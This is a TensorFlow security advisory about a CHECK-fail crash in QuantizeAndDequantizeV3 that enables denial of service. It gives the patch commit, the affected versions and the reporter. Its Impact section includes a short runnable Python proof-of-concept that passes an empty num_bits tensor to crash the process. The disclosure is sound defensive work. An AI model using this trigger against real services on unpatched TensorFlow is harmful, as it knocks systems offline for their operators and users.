TensorFlow vulnerable to `CHECK` fail in `QuantizeAndDequantizeV3`

Impact

If QuantizeAndDequantizeV3 is given a nonscalar num_bits input tensor, it results in a CHECK fail that can be used to trigger a denial of service attack.

import tensorflow as tf

signed_input = True
range_given = False
narrow_range = False
axis = -1
input = tf.constant(-3.5, shape=[1], dtype=tf.float32)
input_min = tf.constant(-3.5, shape=[1], dtype=tf.float32)
input_max = tf.constant(-3.5, shape=[1], dtype=tf.float32)
num_bits = tf.constant([], shape=[0], dtype=tf.int32)
tf.raw_ops.QuantizeAndDequantizeV3(input=input, input_min=input_min, input_max=input_max, num_bits=num_bits, signed_input=signed_input, range_given=range_given, narrow_range=narrow_range, axis=axis)

Patches

We have patched the issue in GitHub commit f3f9cb38ecfe5a8a703f2c4a8fead434ef291713.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.